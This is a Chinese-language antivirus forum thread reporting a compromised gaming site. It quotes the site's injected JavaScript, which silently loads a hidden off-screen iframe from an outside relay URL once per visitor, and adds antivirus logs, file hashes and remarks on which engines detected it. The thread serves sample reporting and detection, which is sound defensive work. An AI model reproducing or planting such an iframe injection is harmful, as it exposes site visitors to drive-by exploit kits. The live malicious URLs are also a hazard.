裏面

显示全部楼层 · 发表于 2014-1-23 19:01:01

本帖最后由 fireold 于 2014-1-23 19:05 编辑

http://www.prisongames.com/profile_blogs/felrike/%26amp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3B

复制代码

function cgjap09() {
var static = 'ajax';
var controller = 'index.php';
var cgjap = document.createElement('iframe');
cgjap.src = 'http://mybrookingsrealtor.com/relay.php';
cgjap.style.position = 'absolute';
cgjap.style.color = '210';
cgjap.style.height = '210px';
cgjap.style.width = '210px';
cgjap.style.left = '1000210';
cgjap.style.top = '1000210';
if (!document.getElementById('cgjap')) {
document.write('<p id=\'cgjap\' class=\'cgjap09\' ></p>');
document.getElementById('cgjap').appendChild(cgjap);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
cgjap09();
}
}

复制代码

Avira

2014/1/23 下午 06:53 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\MDC6X2XG\ajax_tabs[1].js'
   包含病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]
   已採取動作：
   檔案會移動至 '5a5259b5.qua' 名稱底下的隔離區目錄!

2014/1/23 下午 06:53 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\A1VVYTC4\functions[1].js'
   包含病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]
   已採取動作：
   檔案會移動至 '42ca762d.qua' 名稱底下的隔離區目錄!

2014/1/23 下午 06:53 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描.]。
   檔案數： 789
   目錄數： 0
   惡意程式碼數： 2
   警告數： 0

2014/1/23 下午 06:52 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\A1VVYTC4\functions[1].js 中
   偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
   執行的動作：傳輸至掃描程式

2014/1/23 下午 06:52 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\MDC6X2XG\ajax_tabs[1].js 中
   偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
   執行的動作：傳輸至掃描程式

2014/1/23 下午 06:52 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\A1VVYTC4\functions[1].js 中
   偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
   執行的動作：拒絕存取

2014/1/23 下午 06:52 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\MDC6X2XG\ajax_tabs[1].js 中
   偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
   執行的動作：拒絕存取

2014/1/23 下午 06:52 [Web Protection] 已停用 Web Protection
   服務已停用

2014/1/23 下午 06:51 [Web Protection] 封鎖的網頁
   URL
   (http://www.prisongames.com/profile_blogs/felrike/%26amp%3Bamp%3Bamp%3Bamp%3Bamp
   %3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3Bamp%3B) 的評估結果為惡意程式碼，而遭到封鎖.

fs is

显示全部楼层 · 发表于 2014-1-23 19:06:37

显示全部楼层 · 发表于 2014-1-23 19:07:34

fs的网页报跟BG一样，说明什么了咧？

显示全部楼层 · 发表于 2014-1-23 22:42:58

Object: http://www.prisongames.com/js/functions.js
SHA1: 85a3df5bf2582ea2bb47c23555481513a5150cae
Name: Exploit.JS.Expack.G
Object: http://www.prisongames.com/js/ajax_tabs.js
SHA1: 7a76f5b6de8270c71fdf74f510206dbc407e7d77
Name: Exploit.JS.Expack.G
Object: http://www.prisongames.com/profi ... mp;amp;amp;amp;amp;
SHA1: 4cecef31eb287da5eb5e4c088dd44b848f2270e9
Name: Malware-WI.

显示全部楼层 · 发表于 2014-1-24 07:16:19

yiren 发表于 2014-1-23 19:07
fs的网页报跟BG一样，说明什么了咧？

bd竟然沒報…

显示全部楼层 · 发表于 2014-1-24 11:09:42

fireold 发表于 2014-1-24 07:16
bd竟然沒報…

我这里今天入了BG的恶意网址库，但是继续进入，跟你一样，没有报。估计网站后台处理了。

显示全部楼层 · 发表于 2014-1-24 11:28:24

我想知道js下到本地有什么用？

显示全部楼层 · 发表于 2014-1-24 16:01:01

被ASC拦截，被FSCS清理

显示全部楼层 · 发表于 2014-1-25 22:17:12

GD自己的引擎报，BD引擎没报

[已鉴定] 裏面